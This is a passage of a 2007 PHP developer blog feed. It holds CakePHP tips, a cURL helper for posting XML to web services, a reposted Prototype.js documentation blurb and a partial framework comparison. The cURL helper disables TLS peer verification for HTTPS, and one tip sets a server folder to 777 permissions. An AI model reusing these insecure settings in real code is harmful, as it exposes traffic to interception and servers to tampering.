href="http://wiki.cakephp.org/"&gt;wiki &lt;/a&gt;and the &lt;a href="http://api.cakephp.org/"&gt;API&lt;/a&gt; are invaluable sources of information. The &lt;a href="http://wiki.cakephp.org/tutorials"&gt;tutorials&lt;/a&gt; in the wiki are especially useful, and the API may be daunting at first, but you'll quickly find the information in there is crucial to building a site with CakePHP.  &lt;/p&gt;&lt;h4&gt;Using bake.php&lt;/h4&gt; &lt;p&gt;Bake is a command line PHP script that will automagically generate a model, controller, and views based on the design of your database. I highly recommend using &lt;a href="http://wiki.cakephp.org/tutorials:scaffolding_a_blog"&gt;scaffolding&lt;/a&gt; to get a prototype going of a table that may change a lot in the beginning. If you're fairly certain the data is not subject to any drastic change, I recommend using bake instead. With bake all the files are generated and written to disk and you can make modifications from there. It saves a lot of time doing the repetitive tasks such as creating associations, views, and the basic CRUD controller operations. &lt;br&gt;Using bake is really easy. Once you have a table(s) in your database created, change directories to the /cake/scripts/ folder and run: &lt;br&gt;&lt;code&gt;php bake.php&lt;/code&gt;&lt;br&gt;If you choose to bake interactively it'll walk you through the steps required to create your model, controller, and views. Once everything has been baked I usually go through all the generated code and make custom modifications as needed. &lt;/p&gt; &lt;h4&gt;Mind permissions when moving cake around&lt;/h4&gt; &lt;p&gt;When I changed from the development server to the live server I tarred up my entire cake directory and scp'd it to the new server. Immediately I started having an issue where any time the debug level was set to 0 (production mode), data would not be returned for certain database calls. This was a bit of a catch 22 since I needed to view debug information to troubleshoot the problem. &lt;br&gt;Someone in #cakephp kindly pointed out that permissions on the /app/tmp folder need to be writeable by apache. I changed the permissions to 777 and the issue went away. &lt;/p&gt; &lt;h4&gt;Complex model validation&lt;/h4&gt; &lt;p&gt;I needed to validate beyond just checking to make sure a field wasn't empty or it matched a regular expression. In particular, I needed a way to verify that the email address users registered with was unique. In the wiki I found this gem: &lt;a href="http://wiki.cakephp.org/tutorials:advanced_validation"&gt;this advanced validation tutorial&lt;/a&gt;, which covers some advanced methods of validation that were very useful.  &lt;/p&gt;&lt;h4&gt;Logging errors&lt;/h4&gt; &lt;p&gt;&lt;code&gt;$this-&amp;gt;log('Something broke'); &lt;/code&gt;&lt;br&gt;This will log your error to /tmp/logs/ (I initially made the mistake of thinking it would log it to the apache error log) &lt;/p&gt; &lt;h4&gt;Creating a controller that uses other models&lt;/h4&gt; &lt;p&gt;Suppose you have a controller that needs data from a bunch of different models, simply add this to the top of your controller: &lt;br&gt;&lt;code&gt;class yourController extends AppController &lt;br&gt;{&lt;br&gt;var $uses = array('Post','User'); &lt;br&gt;} &lt;/code&gt;&lt;br&gt;This controller would then have access to both the Post and the User model. &lt;/p&gt; &lt;h4&gt;Creating a model for a table that doesn't actually exist in the database&lt;/h4&gt; &lt;p&gt;I needed a way to create a model and controller without actually having an associated table in the database. I particularly wanted to make use of the $validate array so I could easily validate my fields and keep the validation logic in the model. CakePHP will throw an error if you create a model for a table that doesn't exist. Adding this to the model fixed the problem: &lt;br&gt;&lt;code&gt;var $useTable = false;&lt;/code&gt;&lt;br&gt;You can use this to change tables names as well. &lt;br&gt;&lt;code&gt;var $useTable = 'some_table';&lt;/code&gt;&lt;/p&gt; &lt;h4&gt;Call exit() after redirecting&lt;/h4&gt; &lt;p&gt;This should be no surprise to anyone who has done any serious web development in the past, but make sure you call exit() after running &lt;code&gt;$this-&amp;gt;redirect()&lt;/code&gt; if there's code afterward that you don't want to run. I've always done this in the past, but I made the assumption that &lt;code&gt;$this-&amp;gt;redirect()&lt;/code&gt; would make an exit call for me (which it didn't).  &lt;/p&gt;&lt;h4&gt;Advanced model functions&lt;/h4&gt; &lt;p&gt;Unless you delve in to the API, there are some very useful model functions at your disposal you might not know exist. I highly recommend reading over the &lt;a href="http://api.cakephp.org/class_model.html"&gt;Model Class Reference&lt;/a&gt; at least once. Here's a few key functions I wasn't aware of that I found to be very useful: &lt;/p&gt; &lt;ul&gt; &lt;li&gt;&lt;a href="http://api.cakephp.org/class_model.html#e8844b859626edc554946480046e395f"&gt;generateList()&lt;/a&gt; - I use this function primarily to populate select boxes with data from associated tables  &lt;/li&gt;&lt;li&gt;&lt;a href="http://api.cakephp.org/class_model.html#6489e2300b9002286e49d48f51004332"&gt;findBySql()&lt;/a&gt; - Sometimes you just need to write your own SQL  &lt;/li&gt;&lt;li&gt;&lt;a href="http://api.cakephp.org/class_model.html#0978aba07f5d196079d7518a99bcfa86"&gt;findCount()&lt;/a&gt; - Returns number of rows matching given SQL condition  &lt;/li&gt;&lt;li&gt;&lt;a href="http://api.cakephp.org/class_model.html#1bc86347df904da22e555b1f9aa78970"&gt;hasAny()&lt;/a&gt; - Returns true if a record that meets the given conditions exists. &lt;/li&gt;&lt;/ul&gt; &lt;p&gt;Again, I highly recommend reading over the entire &lt;a href="http://api.cakephp.org/class_model.html"&gt;model class reference&lt;/a&gt;, you'll be surprised at what you learn. &lt;/p&gt; &lt;h4&gt;Inserting multiple rows in succession&lt;/h4&gt; &lt;p&gt;I had a situation where I needed to iterate through a list of items and insert new rows for each. I quickly discovered that if you insert an item and then immediately insert another, the item that is inserted next doesn't insert at all. Instead the previously inserted row was being updated. For example: &lt;br&gt;&lt;code&gt;$items = array('Item 1','Item 2','Item 3'); &lt;br&gt;foreach ($items as $item) { &lt;br&gt;&amp;nbsp;&amp;nbsp;$this-&amp;gt;Post-&amp;gt;save(array('Post' =&amp;gt; array('title' =&amp;gt; $item))); &lt;br&gt;}&lt;/code&gt;&lt;br&gt;This code will result in a single entry in the posts table: "item 3." CakePHP inserted "item 1", but then updates it to become "item 2," then "item 3" because $this-&amp;gt;Post-&amp;gt;id gets the value of the last inserted ID. Normally this functionality is very useful, but in this particular instance it was not. I found was to setting &lt;code&gt;$this-&amp;gt;Post-&amp;gt;id = false&lt;/code&gt; after each insert solved the problem. &lt;/p&gt; &lt;h4&gt;Inserting logic before or after controller functions&lt;/h4&gt; &lt;p&gt;Suppose you needed an array of colors to be available to every view rendered by your controller but you don't want to have to define this data in every action. Using the beforeRender() callback will allow you to do this: &lt;br&gt;&lt;code&gt;function beforeRender() {&lt;br&gt;&amp;nbsp;&amp;nbsp;$this-&amp;gt;set('colors',array('red','blue','green'); &lt;br&gt;}&lt;/code&gt;&lt;br&gt;This would make $colors accessible in every view rendered by that controller. &lt;a href="http://api.cakephp.org/class_controller.html#f556912271b8d7b4b34da2db8d9482ee"&gt;beforeRender()&lt;/a&gt; is called after the controller logic and just before a view is rendered. &lt;br&gt;There's also &lt;a href="http://api.cakephp.org/class_controller.html#e756a803e378b692480ba0ab107c9bee"&gt;beforeFilter()&lt;/a&gt; and &lt;a href="http://api.cakephp.org/class_controller.html#2413935136814586d9993b831639ee43"&gt;afterFilter()&lt;/a&gt;, which are called before and after every controller action. For more information, read up on callbacks in the &lt;a href="http://manual.cakephp.org/chapter/models"&gt;models section&lt;/a&gt; of the manual. &lt;/p&gt; &lt;h4&gt;Adding a &lt;acronym&gt;WYSIWYG&lt;/acronym&gt; editor to CakePHP&lt;/h4&gt; &lt;p&gt;I found &lt;a href="http://wiki.cakephp.org/tutorials:tinymce_with_cake"&gt;this great tutorial&lt;/a&gt; on getting TinyMCE set up with CakePHP. Basically you just link the tiny_mce .js file to your page and then add a small bit of init code to every page that you want textareas to be converted into TinyMCE editors.  &lt;/p&gt;&lt;h4&gt;Writing your own SQL for HABTM relationships&lt;/h4&gt; &lt;p&gt;I had an issue with trying to create a HABTM (has-and-belongs-to-many) relationship where I needed to specify my own SQL statement. According to the docs (at the time of this writing) you should set finderSql in your model, but according to the cakePHP source you should set &lt;strong&gt;finderQuery&lt;/strong&gt; instead. It's just a foul-up in the docs, but I figured it'd be worth noting to save others from having to figure it out for themselves. Trac ticket here: &lt;a href="https://trac.cakephp.org/ticket/1217"&gt;https://trac.cakephp.org/ticket/1217&lt;/a&gt; &lt;/p&gt;&lt;h4&gt;Sending email&lt;/h4&gt; &lt;p&gt;I found two tutorials in the wiki: &lt;a href="http://wiki.cakephp.org/tutorials:sending_email"&gt;Sending email&lt;/a&gt; and &lt;a href="http://wiki.cakephp.org/tutorials:sending_email_with_phpmailer"&gt;Sending email with PHPMailer&lt;/a&gt;&lt;br&gt;I highly recommend the latter of the two, sending emails with PHPMailer is more secure and there's less of a headache because you don't have to deal with constructing the mail headers yourself. &lt;/p&gt; &lt;h4&gt;Customizing HTML generated by the Helper&lt;/h4&gt; &lt;p&gt;I needed to change the default &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt; generated when I called &lt;code&gt;$html-&amp;gt;selectTag()&lt;/code&gt; to say something like "Please Select" rather than an empty space (default). I also wanted radio buttons to have labels so the user doesn't have to click exactly on the radio button itself but can instead click anywhere on the text associated with it. &lt;br&gt;Create the file /app/config/tags.ini.php and add the following:&lt;br&gt;&lt;code&gt;; Tag template for a input type='radio' tag.&lt;br&gt;radio = "&amp;lt;input type="radio" name="data[%s][%s]" id="%s" %s /&amp;gt;&amp;lt;label for="%3$s"&amp;gt;%s&amp;lt;/label&amp;gt;"&lt;br&gt;; Tag template for an empty select option tag.&lt;br&gt;selectempty = "&amp;lt;option value="" %s&amp;gt;-- Please Select --&amp;lt;/option&amp;gt;"&lt;/code&gt;&lt;br&gt;You can get a full list of available tags in /cake/config/tags.ini.php. I wouldn't recommend modifying that file, however, because you could lose your changes when you upgrade CakePHP. &lt;/p&gt; &lt;h4&gt;Creating a custom 404 error page&lt;/h4&gt; &lt;p&gt;If you need to change the page that users see when a document is not found, create:&lt;br&gt;/app/views/errors/error404.thtml&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-1778493406191855957?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/1778493406191855957/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=1778493406191855957' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1778493406191855957'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1778493406191855957'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/07/21-things-you-must-know-about-cakephp.html' title='21 Things You Must Know About CakePHP'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-1292393093790634528</id><published>2007-07-08T23:56:00.000-07:00</published><updated>2007-07-09T00:07:22.367-07:00</updated><title type='text'>Sending XML files to a Webservice (Using cURL)</title><content type='html'>Calling Web Services. Great fun!! … when it works. One of the biggest challenges is to send the XML document and get the response back, an XML document in particular. I have come up with a PHP function that hides all the necessary logic from theuser and handles the posting of the XML document and returns whatever the server responds. It relies on PHP’s cURL library (so you need it properly configured on your server in order to work). All you need to do is create the XML document, choose the URL (and port) to which you want to post the XML document and the function takes care of the rest. Below is the function code. As you can see, the function can handle SSL-enabled servers, something that provides a great advantage, since many Web services run on HTTPS.&lt;br /&gt;&lt;br /&gt;// open a http channel, transmit data and return received buffer&lt;br /&gt;function xml_post($post_xml, $url, $port)&lt;br /&gt;{&lt;br /&gt;    $user_agent = $_SERVER[’HTTP_USER_AGENT’];&lt;br /&gt;    $ch = curl_init();    // initialize curl handle&lt;br /&gt;    curl_setopt($ch, CURLOPT_URL, $url); // set url to post to&lt;br /&gt;    curl_setopt($ch, CURLOPT_FAILONERROR, 1);              // Fail on errors&lt;br /&gt;    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); // allow redirects&lt;br /&gt;    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); // return into a variable&lt;br /&gt;    curl_setopt($ch, CURLOPT_PORT, $port);   //Set the port number&lt;br /&gt;    curl_setopt($ch, CURLOPT_TIMEOUT, 15); // times out after 15s&lt;br /&gt;    curl_setopt($ch, CURLOPT_POSTFIELDS, $post_xml); // add POST fields&lt;br /&gt;    curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);&lt;br /&gt;    if($port==443)&lt;br /&gt;    {&lt;br /&gt;   curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,  2);&lt;br /&gt;   curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);&lt;br /&gt;     }&lt;br /&gt;     $data = curl_exec($ch);&lt;br /&gt;     curl_close($ch);&lt;br /&gt;     return $data;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;The example below shows how the function works, by posting a XML document of the form&lt;br /&gt;&amp;lt;?xml version=”1.0″ encoding=”iso-8859-1″?&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;Document&amp;gt;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp; &amp;lt;Message&amp;gt;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Your Name&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp; &amp;lt;/Message&amp;gt;&lt;br&gt;&lt;br /&gt;&amp;lt;/Document&amp;gt;&lt;br /&gt;to a “listener” script, which takes the XML document and returns a reply (another XML document). In this case, the listener is very simple. All it does is replace the “Message” tag with “Reply” and print the resulting XML. Of course, the listener can do all sorts of things in response to the POST.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&amp;lt;?php&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; if ( !isset( $HTTP_RAW_POST_DATA ) )&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; {&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $HTTP_RAW_POST_DATA = file_get_contents( ‘php://input’ );&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&lt;br&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; $xml = str_replace(”Message”,”Reply” , $HTTP_RAW_POST_DATA);&amp;nbsp;&amp;nbsp;&lt;br&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; print((trim($xml)));&lt;br&gt;&lt;br /&gt;?&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;You can download the function code, as well as a working example &lt;a href="http://www.mt-soft.com.ar/wordpress/wp-content/uploads/2007/07/xml-post-curl-example.zip"&gt;here&lt;/a&gt;. Let me know what you think.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-1292393093790634528?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/1292393093790634528/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=1292393093790634528' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1292393093790634528'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1292393093790634528'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/07/sending-xml-files-to-webservice-using.html' title='Sending XML files to a Webservice (Using cURL)'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-1697218431919452189</id><published>2007-07-07T02:29:00.000-07:00</published><updated>2007-07-07T02:33:18.052-07:00</updated><title type='text'>Prototype Javascript Framework</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://www.prototypejs.org/images/codesample1.gif"&gt;&lt;img style="float:left; margin:0 10px 10px 0;cursor:pointer; cursor:hand;width: 320px;" src="http://www.prototypejs.org/images/codesample1.gif" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Prototype is a JavaScript Framework that aims to ease development of dynamic web applications.&lt;br /&gt;&lt;br /&gt;Featuring a unique, easy-to-use toolkit for class-driven development and the nicest Ajax library around, Prototype is quickly becoming the codebase of choice for web application developers everywhere.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Welcome to the API documentation for Prototype. The left column contains the main sections. When you activate a section, its detailed contents then appears at the top of the column.&lt;br /&gt;&lt;br /&gt;We are doing our best to provide you with current, clear, example-rich documentation. The goal here is that you should, when reading it, get the same warm, fuzzy feeling as we do when using Prototype :-)&lt;br /&gt;&lt;br /&gt;The API documentation is a reference documentation. If you need to learn how to use Prototype, or to acquire skills in a particular feature area, have a look at the Learn section, which is accessible from the top of all pages (the “Tips and Tutorials” link), and is also linked from the orange bar in all reference pages. Documentation in the Learn section is more narrative and tutorial-style.&lt;br /&gt;&lt;br /&gt;Enjoy the docs!&lt;br /&gt;Documentation tools and bundles&lt;br /&gt;&lt;br /&gt;    * downloadable PDF version by Josh Clark&lt;br /&gt;    * downloadable CHM version by Kjell Bublitz&lt;br /&gt;    * API Search Bookmarklet: Drag this bookmark to your browser’s toolbar. Type in a method to view its documentation. For example, Event.observe. Search Prototype API&lt;br /&gt;    * Dashboard widget&lt;br /&gt;    * Firefox sidebar&lt;br /&gt;&lt;br /&gt;Archives&lt;br /&gt;&lt;br /&gt;For those of you using older versions of Prototype, you can download corresponding PDF versions of the docs below, courtesy of Josh Clark.&lt;br /&gt;&lt;br /&gt;    * &lt;a href="http://prototypejs.org/assets/2007/6/20/prototype-151-api.pdf"&gt;Version 1.5.1&lt;/a&gt;&lt;br /&gt;    * &lt;a href="http://prototypejs.org/assets/2007/3/9/prototype-150-api.pdf"&gt;Version 1.5.0&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.prototypejs.org/api"&gt;Source&lt;/a&gt;&lt;br /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-1697218431919452189?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/1697218431919452189/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=1697218431919452189' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1697218431919452189'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/1697218431919452189'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/07/prototype-javascript-framework.html' title='Prototype Javascript Framework'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-2608914155159273735</id><published>2007-06-23T02:41:00.001-07:00</published><updated>2007-06-23T02:53:55.668-07:00</updated><title type='text'>Taking a look at ten different PHP frameworks</title><content type='html'>&lt;h3 i5d6d="0" ysiu0="0"&gt;Zend Framework&lt;/h3&gt; &lt;p i5d6d="0" ysiu0="0"&gt;The Zend Framework is still pretty new, and very beta, so  there's still a few things to come (like a &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink1" onmouseover="adlinkMouseOver(event,this,1);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,1);" onmouseout="adlinkMouseOut(event,this,1);" href="http://www.phpit.net/article/ten-different-php-frameworks/2/#" target="_top"&gt;&lt;span style="font-weight: 400; position: static;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;&lt;span class="kLink" style="border-bottom: 1px solid blue; font-weight: 400; color: blue ! important; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#0000e0;"  &gt;user  &lt;/span&gt;&lt;span class="kLink" style="border-bottom: 1px solid blue; font-weight: 400; color: blue ! important; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#0000e0;"  &gt;authentication&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;  module), but it does already have quite a lot. Although it doesn't have a lot of  checks in the chart, the Zend Framework does include other modules, to handle &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink2" onmouseover="adlinkMouseOver(event,this,2);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,2);" onmouseout="adlinkMouseOut(event,this,2);" href="http://www.phpit.net/article/ten-different-php-frameworks/2/#" target="_top"&gt;&lt;span style="font-weight: 400; position: static;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;&lt;span class="kLink" style="font-weight: 400; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;PDF  &lt;/span&gt;&lt;span class="kLink" style="font-weight: 400; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;files&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;,  RSS feeds, Web Services (Amazon, Flickr, Yahoo), and more. The Zend Framework  also includes several different &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink3" onmouseover="adlinkMouseOver(event,this,3);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,3);" onmouseout="adlinkMouseOut(event,this,3);" href="http://www.phpit.net/article/ten-different-php-frameworks/2/#" target="_top"&gt;&lt;span style="font-weight: 400; position: static;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;&lt;span class="kLink" style="border-bottom: 1px solid blue; font-weight: 400; color: blue ! important; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#0000e0;"  &gt;database  &lt;/span&gt;&lt;span class="kLink" style="border-bottom: 1px solid blue; font-weight: 400; color: blue ! important; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#0000e0;"  &gt;objects&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;,  making it extremely simple to query your database, without having to write any  SQL yourself.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;At the moment the Zend Framework doesn't come with a  full-blown ORM, but the framework &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink4" onmouseover="adlinkMouseOver(event,this,4);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,4);" onmouseout="adlinkMouseOut(event,this,4);" href="http://www.phpit.net/article/ten-different-php-frameworks/2/#" target="_top"&gt;&lt;span style="font-weight: 400; position: static;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;&lt;span class="kLink" style="font-weight: 400; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;developers&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;  are still debating whether to add an ORM layer or not. This might be something  we see in the future, and you can always write your own ORM implementation, and  have it added to the framework, as it accepts user contributions.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;The Zend Framework is looking quite promising, and is  definitely working to fix the common &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink5" onmouseover="adlinkMouseOver(event,this,5);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,5);" onmouseout="adlinkMouseOut(event,this,5);" href="http://www.phpit.net/article/ten-different-php-frameworks/2/#" target="_top"&gt;&lt;span style="font-weight: 400; position: static;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;&lt;span class="kLink" style="font-weight: 400; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;PHP&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;  problems. The stable version will probably have a lot more checks in the  comparison chart!&lt;/p&gt; &lt;h3 i5d6d="0" ysiu0="0"&gt;CakePHP&lt;/h3&gt; &lt;p i5d6d="0" ysiu0="0"&gt;CakePHP is mostly an advanced MVC framework, with a few  extra modules added on top. It can handle most of the database stuff for you,  and it includes support for &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink6" onmouseover="adlinkMouseOver(event,this,6);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,6);" onmouseout="adlinkMouseOut(event,this,6);" href="http://www.phpit.net/article/ten-different-php-frameworks/2/#" target="_top"&gt;&lt;span style="font-weight: 400; position: static;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;&lt;span class="kLink" style="font-weight: 400; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;Ajax&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;  and data validation. It also has a unique user authentication module called  'Access Lists', which can be used to give different users access to different  parts of your CakePHP website.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;This framework seems quite thorough and ready for use,  although the CakePHP website is extremely confusing. There doesn't seem to be a  stable version yet, which is a bit surprising since it's been in development for  months now, but I guess it's probably possible to use the beta version on a  production website as well.&lt;/p&gt; &lt;h3 i5d6d="0" ysiu0="0"&gt;Symfony Project&lt;/h3&gt; &lt;p i5d6d="6" ysiu0="0"&gt;As you can see from the chart the Symfony Project seems  like a very extensive framework, and it even includes a full-blown ORM, called  &lt;a href="http://propel.phpdb.org/trac/" i5d6d="0" ysiu0="0"&gt;Propel&lt;/a&gt;, which is  another &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink7" onmouseover="adlinkMouseOver(event,this,7);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,7);" onmouseout="adlinkMouseOut(event,this,7);" href="http://www.phpit.net/article/ten-different-php-frameworks/2/#" target="_top"&gt;&lt;span style="font-weight: 400; position: static;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;&lt;span class="kLink" style="font-weight: 400; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;open  &lt;/span&gt;&lt;span class="kLink" style="font-weight: 400; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;source&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;  project and probably one of the best ORM solutions for PHP. Symfony also  includes &lt;a href="http://creole.phpdb.org/wiki/" i5d6d="0" ysiu0="0"&gt;Creole&lt;/a&gt;  for the database abstraction layer and &lt;a href="http://www.mojavi.org/" i5d6d="0" ysiu0="0"&gt;Mojavi&lt;/a&gt; for the Model-View-Controller model layer.  Because it simply re-uses these other projects, instead of re-writing them, this  framework probably has the most extensive functionality, and this is clearly  shown in the chart.&lt;/p&gt; &lt;p i5d6d="0" ysiu0="0"&gt;The only two downsides to this framework is that fact  that it can't be run on PHP4, but this is pretty logical considering it needs  much of PHP5's new features, and that it's so complicated. Most of the tasks,  like paging, are much more complicated in Symfony than in other frameworks, and  simplicity definitely doesn't describe this framework.&lt;/p&gt; &lt;h3 i5d6d="0" ysiu0="0"&gt;Seagull Framework&lt;/h3&gt; &lt;p i5d6d="0" ysiu0="0"&gt;The Seagull framework seems like a pretty good framework,  and it comes with quite a lot of features. Another positive thing is that it  runs on PHP4 as well, which is a really good thing in my book, as I still use  PHP4 and most &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink8" onmouseover="adlinkMouseOver(event,this,8);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,8);" onmouseout="adlinkMouseOut(event,this,8);" href="http://www.phpit.net/article/ten-different-php-frameworks/2/#" target="_top"&gt;&lt;span style="font-weight: 400; position: static;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;&lt;span class="kLink" style="font-weight: 400; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;web  &lt;/span&gt;&lt;span class="kLink" style="font-weight: 400; position: relative;font-family:verdana,tahoma,arial,helvetica,sans-serif;color:#b00000;"  &gt;hosts&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;  don't support PHP5 yet.&lt;/p&gt; &lt;p i5d6d="2" ysiu0="0"&gt;Unfortunately Seagull doesn't come with any Ajax support,  which is a bit of a shame, but a simple Google search returns &lt;a href="http://www.alexharford.com/2005/10/25/hacking-seagull-for-ajax-support-with-rico/" i5d6d="0" ysiu0="0"&gt;a tutorial on adding Ajax support&lt;/a&gt; yourself, and it's  likely it will be added in the future.&lt;/p&gt;&lt;h3 i5d6d="0" ysiu0="0"&gt;WACT - Web Application Toolkit&lt;/h3&gt; &lt;p i5d6d="0" ysiu0="0"&gt;WACT looks quite promising, and it has the basic things a  framework needs, like MVC, &lt;a class="kLink" oncontextmenu="return false;" id="KonaLink1" onmouseover="adlinkMouseOver(event,this,1);" style="position: static; text-decoration: underline ! important;" onclick="adlinkMouseClick(event,this,1);" onmouseout="adlinkMouseOut(event,this,1);" href="http://www.phpit.net/article/ten-different-php-frameworks/3/#" target="_top"&gt;&lt;span style="font-weight: 400; color: blue ! important; font-family: verdana,tahoma,arial,helvetica,sans-serif; position: static;color:blue;" &gt;&lt;span class="kLink" style="border-bottom: 1px solid blue; 